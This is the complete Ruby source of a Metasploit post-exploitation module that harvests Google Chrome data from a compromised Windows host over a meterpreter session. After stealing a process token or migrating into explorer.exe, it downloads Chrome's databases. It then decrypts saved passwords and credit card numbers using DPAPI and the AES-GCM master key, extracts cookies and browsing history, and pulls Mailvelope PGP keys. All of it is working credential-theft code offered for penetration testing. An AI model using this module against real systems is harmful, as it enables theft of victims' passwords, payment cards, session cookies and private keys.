## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Google Chrome User Data Enumeration', 'Description' => %q{ This module will collect user data from Google Chrome and attempt to decrypt sensitive information. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => [ 'Sven Taute', # Original (Meterpreter script) 'sinn3r', # Metasploit post module 'Kx499', # x64 support 'mubix' # Parse extensions ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_close core_channel_eof core_channel_open core_channel_read core_migrate stdapi_fs_stat stdapi_railgun_api stdapi_sys_config_getenv stdapi_sys_config_getsid stdapi_sys_config_getuid stdapi_sys_config_steal_token stdapi_sys_process_attach stdapi_sys_process_get_processes stdapi_sys_process_memory_allocate stdapi_sys_process_memory_read stdapi_sys_process_memory_write ] } } ) ) register_options( [ OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]), ] ) end def extension_mailvelope_parse_key(data) return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n") end def extension_mailvelope_store_key(name, value) return unless name =~ /(private|public)keys/i priv_or_pub = Regexp.last_match(1) keys = value.split(',') print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!") keys.each do |key| key_data = extension_mailvelope_parse_key(key) vprint_good(key_data) path = store_loot( "chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key" ) print_good("==> Saving #{priv_or_pub} key to: #{path}") end end def extension_mailvelope(username, extname) chrome_path = @profiles_path + '\\' + username + @data_path + 'Default' maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage" if file_exist?(maildb_path) == false print_error('==> Mailvelope database not found') return end print_status('==> Downloading Mailvelope database...') local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope') session.fs.file.download_file(local_path, maildb_path) print_good("==> Downloaded to #{local_path}") maildb = SQLite3::Database.new(local_path) columns, *rows = maildb.execute2('select * from ItemTable;') maildb.close rows.each do |name, value| extension_mailvelope_store_key(name, value) end end def parse_prefs(username, filepath) prefs = '' File.open(filepath, 'rb') do |f| prefs = f.read end results = ActiveSupport::JSON.decode(prefs) if results['extensions']['settings'] print_status('Extensions installed: ') results['extensions']['settings'].each do |name, values| next unless values['manifest'] print_status("=> #{values['manifest']['name']}") if values['manifest']['name'] =~ /mailvelope/i print_good('==> Found Mailvelope extension, extracting PGP keys') extension_mailvelope(username, name) end end end end def get_master_key(local_state_path) local_state_data = read_file(local_state_path) local_state = JSON.parse(local_state_data) master_key_base64 = local_state['os_crypt']['encrypted_key'] master_key = Rex::Text.decode_base64(master_key_base64) master_key end def decrypt_data(data) mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return'] return nil if mem == 0 session.railgun.memwrite(mem, data, data.length) if session.arch == ARCH_X86 inout_fmt = 'V2' elsif session.arch == ARCH_X64 inout_fmt = 'Q2' else fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.") end pdatain = [data.length, mem].pack(inout_fmt) ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length) len, addr = ret['pDataOut'].unpack(inout_fmt) decrypted = len == 0 ? nil : session.railgun.memread(addr, len) multi_rail = [] multi_rail << ['kernel32', 'LocalFree', [mem]] multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0 session.railgun.multi(multi_rail) decrypted end def process_files(username) secrets = '' masterkey = nil decrypt_table = Rex::Text::Table.new( 'Header' => 'Decrypted data', 'Indent' => 1, 'Columns' => ['Name', 'Decrypted Data', 'Origin'] ) @chrome_files.each do |item| if item[:in_file] == 'Preferences' parse_prefs(username, item[:raw_file]) end next if item[:sql].nil? next if item[:raw_file].nil? db = SQLite3::Database.new(item[:raw_file]) begin columns, *rows = db.execute2(item[:sql]) rescue StandardError next end db.close rows.map! do |row| res = Hash[*columns.zip(row).flatten] next unless item[:encrypted_fields] && !session.sys.config.is_system? item[:encrypted_fields].each do |field| name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card'] origin = res['label'].nil? ? res['origin_url'] : res['label'] enc_data = res[field] if enc_data.start_with? 'v10' unless masterkey print_status('Found password encrypted with masterkey') local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State' masterkey_encrypted = get_master_key(local_state_path) masterkey = decrypt_data(masterkey_encrypted[5..]) print_good('Found masterkey!') if masterkey end cipher = OpenSSL::Cipher.new('aes-256-gcm') cipher.decrypt cipher.key = masterkey cipher.iv = enc_data[3..14] ciphertext = enc_data[15..-17] cipher.auth_tag = enc_data[-16..] pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final else pass = res[field + '_decrypted'] = decrypt_data(enc_data) end next unless !pass.nil? && (pass != '') decrypt_table << [name, pass, origin] secret = "url:#{origin} #{name}:#{pass}" secrets << secret << "\n" vprint_good("Decrypted data: #{secret}") end end end if secrets != '' path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data') print_good("Decrypted data saved in: #{path}") end end def extract_data(username) # Prepare Chrome's path on remote machine chrome_path = @profiles_path + '\\' + username + @data_path + 'Default' raw_files = {} @chrome_files.map { |e| e[:in_file] }.uniq.each do |f| remote_path = chrome_path + '\\' + f # Verify the path before downloading the file if file_exist?(remote_path) == false print_error("#{f} not found") next end # Store raw data local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}") raw_files[f] = local_path session.fs.file.download_file(local_path, remote_path) print_good("Downloaded #{f} to '#{local_path}'") end # Assign raw file paths to @chrome_files raw_files.each_pair do |raw_key, raw_path| @chrome_files.each do |item| if item[:in_file] == raw_key item[:raw_file] = raw_path end end end return true end def steal_token current_pid = session.sys.process.open.pid target_pid = session.sys.process['explorer.exe'] return if target_pid == current_pid if target_pid.to_s.empty? print_warning('No explorer.exe process to impersonate.') return end print_status("Impersonating token: #{target_pid}") begin session.sys.config.steal_token(target_pid) return true rescue Rex::Post::Meterpreter::RequestError => e print_error("Cannot impersonate: #{e.message}") return false end end def migrate(pid = nil) current_pid = session.sys.process.open.pid if !pid.nil? && (current_pid != pid) # PID is specified target_pid = pid print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}") begin session.core.migrate(target_pid) rescue ::Exception => e print_error(e.message) return false end else # No PID specified, assuming to migrate to explorer.exe target_pid = session.sys.process['explorer.exe'] if target_pid != current_pid @old_pid = current_pid print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") begin session.core.migrate(target_pid) rescue ::Exception => e print_error(e) return false end end end return true end def run @chrome_files = [ { raw: '', in_file: 'Web Data', sql: 'select * from autofill;' }, { raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' }, { raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' }, { raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] }, { raw: '', in_file: 'Cookies', sql: 'select * from cookies;' }, { raw: '', in_file: 'History', sql: 'select * from urls;' }, { raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' }, { raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' }, { raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] }, { raw: '', in_file: 'Bookmarks', sql: nil }, { raw: '', in_file: 'Preferences', sql: nil }, ] @old_pid = nil migrate_success = false # If we can impersonate a token, we use that first. # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to got_token = steal_token if !got_token && datastore['MIGRATE'] migrate_success = migrate end host = session.session_host # Get Google Chrome user data path env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME') sysdrive = env_vars['SYSTEMDRIVE'].strip if directory?("#{sysdrive}\\Users") @profiles_path = "#{sysdrive}/Users" @data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\' elsif directory?("#{sysdrive}\\Documents and Settings") @profiles_path = "#{sysdrive}/Documents and Settings" @data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\' end # Get user(s) usernames = [] if is_system? print_status('Running as SYSTEM, extracting user list...') print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")') session.fs.dir.foreach(@profiles_path) do |u| not_actually_users = [ '.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini', 'LocalService', 'NetworkService' ] usernames << u unless not_actually_users.include?(u) end print_status "Users found: #{usernames.join(', ')}" else uid = session.sys.config.getuid print_status "Running as user '#{uid}'..." usernames << env_vars['USERNAME'].strip if env_vars['USERNAME'] end has_sqlite3 = true begin require 'sqlite3' rescue LoadError print_warning('SQLite3 is not available, and we are not able to parse the database.') has_sqlite3 = false end # Process files for each username usernames.each do |u| print_status("Extracting data for user '#{u}'...") success = extract_data(u) process_files(u) if success && has_sqlite3 end # Migrate back to the original process if datastore['MIGRATE'] && @old_pid && migrate_success print_status('Migrating back...') migrate(@old_pid) end end end